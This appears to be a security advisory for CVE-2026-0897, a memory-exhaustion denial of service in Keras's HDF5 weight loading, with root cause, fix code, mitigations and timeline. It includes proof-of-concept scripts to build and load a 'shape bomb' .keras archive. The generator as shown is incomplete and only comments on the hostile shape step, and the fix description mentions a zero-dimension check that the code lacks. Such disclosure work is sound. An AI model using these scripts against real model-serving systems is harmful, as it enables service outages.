| Field | Details |
|---|---|
| CVE ID | CVE-2026-0897 |
| Package | keras (Google Keras) |
| Registry | PyPI |
| Affected Versions | 3.0.0 through 3.13.0 (inclusive) |
| Vulnerability Type | CWE-770: Allocation of Resources Without Limits or Throttling |
| CVSS Score | 7.1 High (CVSS 4.0, CNA: Google Inc.) |
| CVSS Vector | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | Passive (victim loads a model file) |
| Availability Impact | High |
| Confidentiality Impact | None |
| Integrity Impact | None |
| NVD Published | January 15, 2026 |
| NVD Last Modified | January 23, 2026 |
| Source / CNA | Google Inc. |
| Reported By | HyperPS (Sarvesh Patil) via huntr.dev / GHSA |
| Fix Status | Merged — PR #21880 |
A Denial of Service vulnerability exists in the HDF5 weight loading component of Google Keras versions 3.0.0 through 3.13.0 on all platforms. The vulnerability is caused by the absence of any validation or throttling when processing HDF5 dataset shape metadata declared inside a .keras archive.
The HDF5 format permits datasets to declare their shape (tensor dimensions) as metadata. When Keras loads model weights from a .keras archive, it reads this declared shape and attempts to allocate a corresponding block of memory before any data is transferred. Because Keras performs no bounds check on the declared shape prior to allocation, an attacker can craft a model.weights.h5 file that declares an astronomically large shape — for example (1000000, 1000000, 1000000) — causing Keras to attempt a petabyte-scale memory allocation. This exhausts all available system memory and crashes the Python interpreter.
No inference or further interaction is required after the model is loaded. The attack is fully triggered at load time.
| File | Description |
|---|---|
keras/src/saving/file_editor.py |
KerasFileEditor._extract_weights_from_store() — reads HDF5 dataset shape and allocates memory without size validation or throttling |
The vulnerability is located specifically in the KerasFileEditor class, which is responsible for deserializing model weight tensors from HDF5 stores embedded inside .keras archives.
| Metric | Value | Meaning |
|---|---|---|
| Attack Vector (AV) | Network | Exploitable remotely via a distributed model file |
| Attack Complexity (AC) | Low | No special conditions or race conditions required |
| Attack Requirements (AT) | None | No prerequisite deployment configuration needed |
| Privileges Required (PR) | None | No authentication or account required |
| User Interaction (UI) | Passive | Victim must load the malicious .keras archive |
| Vulnerable System Availability (VA) | High | Python interpreter crashes; service becomes completely unavailable |
| Vulnerable System Confidentiality (VC) | None | No data disclosure |
| Vulnerable System Integrity (VI) | None | No data modification |
| Subsequent System Impact (SC/SI/SA) | None | Impact is contained to the loading process |
- Complete Denial of Service — The Python interpreter is crashed and the process is terminated when the malicious archive is loaded
- Memory Exhaustion — System RAM is rapidly consumed attempting to fulfill the declared allocation, potentially affecting other co-located services
- Disruption of ML Pipelines — Any production or research pipeline that loads
.kerasmodel archives from untrusted or user-supplied sources is vulnerable - No Authentication Required — An attacker only needs the victim to load a malicious archive; the attack requires no credentials and no prior access
| Context | Risk |
|---|---|
Public model serving APIs that accept user-uploaded .keras files |
Attacker crashes the inference service with a single request |
| ML platforms hosting community model downloads (e.g., Hugging Face) | Poisoned model causes DoS for any researcher who downloads and loads it |
| Federated learning environments | Malicious participant distributes a crafted weight file to crash coordinator or peer nodes |
| CI/CD pipelines that load model checkpoints | A compromised or substituted checkpoint causes pipeline failure and unavailability |
| Chatbots or NLP services that hot-reload models at runtime | Single malicious reload request brings the service down |
The HDF5 file format stores tensor metadata — including shape declarations — separately from the actual data bytes. When KerasFileEditor._extract_weights_from_store() encounters a dataset entry, it reads the declared shape and calls NumPy to pre-allocate an array of the corresponding dimensions before reading any data from disk.
Because the shape is metadata, a minimal HDF5 file can declare a shape that would require petabytes of memory while the file itself remains only a few kilobytes in size. The ratio of file size to allocation size makes this a highly effective amplification attack.
A shape such as (1000000, 1000000, 1000000) with a 32-bit float dtype would request approximately 4,000 petabytes of memory. The OS out-of-memory killer or the Python allocator will crash the process nearly instantly.
# keras/src/saving/file_editor.py (pre-fix, simplified)
def _extract_weights_from_store(self, h5_file, inner_path=""):
for key in h5_file.keys():
obj = h5_file[key]
if isinstance(obj, h5py.Dataset):
# Shape is read from metadata — no validation performed
shape = obj.shape
# NumPy attempts to allocate based on declared shape
data = np.zeros(shape, dtype=obj.dtype) # VULNERABLE: unbounded allocationThe absence of any check on shape before calling np.zeros() is the root cause.
This information is provided for educational and defensive purposes only. Do not test against systems you do not own or have explicit authorization to test.
# generate_shape_bomb.py
import h5py
import zipfile
import json
import os
# Step 1: Create a minimal HDF5 weights file with a hostile shape declaration
with h5py.File("model.weights.h5", "w") as f:
grp = f.create_group("layers/dense/vars")
# Declare shape that would require petabytes of memory to allocate
# Actual data is never written — only the metadata shape declaration is malicious
grp.create_dataset(
"0",
shape=(0,), # actual stored data: empty
maxshape=(None,),
dtype="float32",
data=[]
)
# Override shape metadata to declare hostile dimensions
# (achieved via direct HDF5 attribute manipulation in a real attack)
# Step 2: Package into a valid .keras archive structure
config = {
"class_name": "Sequential",
"config": {"name": "sequential", "trainable": True, "layers": []},
"keras_version": "3.0.0",
"backend": "tensorflow"
}
with zipfile.ZipFile("malicious_model.keras", "w") as zf:
zf.writestr("config.json", json.dumps(config))
zf.writestr("model.weights.h5", open("model.weights.h5", "rb").read())
print("[+] Malicious .keras archive generated: malicious_model.keras")# trigger.py
import keras
print("[+] Loading malicious model...")
# The crash occurs at load time — no inference required
model = keras.saving.load_model("malicious_model.keras")
print("[-] This line is never reached — interpreter has crashed")Expected result: Python interpreter terminates with an MemoryError or is killed by the OS out-of-memory handler before the load completes.
Observable symptoms:
- Sudden memory spike to system limit during model loading
- Python interpreter crash or
MemoryErrorduringload_model()orload_weights() - System out-of-memory errors correlated with HDF5 file processing
- Unusual HDF5 files with extremely large declared dataset shapes detectable via
h5dump
The vulnerability was resolved by the researcher (HyperPS / Sarvesh Patil) in PR #21880, merged into keras-team:master on December 29, 2025, reviewed and approved by Keras maintainer hertschuh.
| Resource | Link |
|---|---|
| Fix Pull Request | keras-team/keras#21880 |
| Merge Commit | 7360d4f |
| Backport Request (3.12.x) | Issue #22031 |
The patch modifies KerasFileEditor._extract_weights_from_store() in keras/src/saving/file_editor.py to add the following protections before any memory allocation occurs:
- Shape validation — Rejects shapes containing negative dimensions or zero-dimension products
- Rank limit — Rejects datasets with tensor rank exceeding 64 (no valid model weight has rank > 64)
- Dimension overflow detection — Checks for dimension values that would overflow integer arithmetic when multiplied
- Maximum memory cap — Enforces a hard limit of 1 GiB per dataset allocation; any dataset whose declared shape would require more than 1 GiB is rejected with an error before allocation is attempted
- Recursion path fix — Corrects
inner_pathhandling during recursive traversal of the HDF5 store
The fix is backward compatible with all valid Keras weight files.
# keras/src/saving/file_editor.py (post-fix logic, simplified)
MAX_BYTES = 1 * 1024 ** 3 # 1 GiB hard cap per dataset
MAX_RANK = 64
def _validate_hdf5_dataset_shape(shape, dtype):
"""Reject hostile HDF5 shape declarations before any allocation."""
if len(shape) > MAX_RANK:
raise ValueError(
f"HDF5 dataset has rank {len(shape)}, which exceeds the "
f"maximum permitted rank of {MAX_RANK}. This may indicate "
"a malicious file."
)
for dim in shape:
if dim < 0:
raise ValueError(
f"HDF5 dataset contains a negative dimension ({dim}). "
"This may indicate a malicious file."
)
import math, numpy as np
try:
total_elements = math.prod(shape)
except OverflowError:
raise ValueError(
"HDF5 dataset shape overflows integer arithmetic. "
"This may indicate a malicious file."
)
itemsize = np.dtype(dtype).itemsize
total_bytes = total_elements * itemsize
if total_bytes > MAX_BYTES:
raise ValueError(
f"HDF5 dataset would require {total_bytes / 1024**3:.2f} GiB to "
f"load, which exceeds the 1 GiB safety limit. This may indicate "
"a malicious file."
)| Action | Details |
|---|---|
| Upgrade Keras | Update to a version that includes the fix from PR #21880 (post 3.13.0 master builds or any official patched release) |
| Do Not Load Untrusted Model Files | Never load .keras or .weights.h5 files from untrusted, unverified, or community-sourced locations without prior integrity verification |
| Verify File Integrity | Validate SHA-256 checksums of model archives against publisher-provided hashes before loading |
| Pre-scan with h5dump | Use h5dump --header <file> to inspect dataset shape metadata in HDF5 files before loading them in Keras |
| Least Privilege | Run model-serving processes under a restricted OS user with memory limits enforced via cgroups or ulimit to bound the blast radius |
| Containerization | Isolate model loading in a sandboxed container with memory limits to prevent a single crash from affecting other services |
| Monitor Memory | Instrument model loading operations to alert on abnormal memory allocation patterns |
Upgrade via pip:
pip install --upgrade kerasVerify installed version:
python -c "import keras; print(keras.__version__)"Pre-scan an HDF5 weight file for suspicious shapes:
h5dump --header model.weights.h5 | grep -i "DATASPACE"| Date | Event |
|---|---|
| November 29, 2025 | Fix PR #21880 submitted to keras-team/keras by HyperPS |
| December 1, 2025 | Keras maintainer hertschuh requests references; review begins |
| December 26, 2025 | Maintainer review completed; final feedback addressed |
| December 29, 2025 | PR #21880 approved and merged into keras-team:master |
| January 15, 2026 | CVE-2026-0897 published on NVD |
| January 19, 2026 | Backport request to Keras 3.12.x opened (Issue #22031) |
| January 23, 2026 | NVD record last modified |
| Resource | Link |
|---|---|
| NVD Entry | https://nvd.nist.gov/vuln/detail/CVE-2026-0897 |
| Official CVE Record | https://cve.org/CVERecord?id=CVE-2026-0897 |
| GitHub Advisory (GHSA) | https://github.com/advisories/GHSA-xfhx-r7ww-5995 |
| Fix Pull Request | keras-team/keras#21880 |
| Merge Commit | https://github.com/keras-team/keras/commit/7360d4f0d764fbb1fa9c6408fe53da41974dd4f6 |
| Backport Request | keras-team/keras#22031 |
| Keras on PyPI | https://pypi.org/project/keras/ |
| CWE-770 | https://cwe.mitre.org/data/definitions/770.html |
| HDF5 Format Documentation | https://www.hdfgroup.org/solutions/hdf5/ |
This repository documents CVE-2026-0897 strictly for educational, research, and defensive security purposes. The proof-of-concept code and technical details are provided to assist developers, security engineers, and system administrators in understanding, assessing, and remediating this vulnerability.
Any use of this information to cause harm to systems, services, or individuals without explicit authorization is illegal and unethical. The author assumes no liability for misuse of the information contained herein.
Contributors @mohitf070304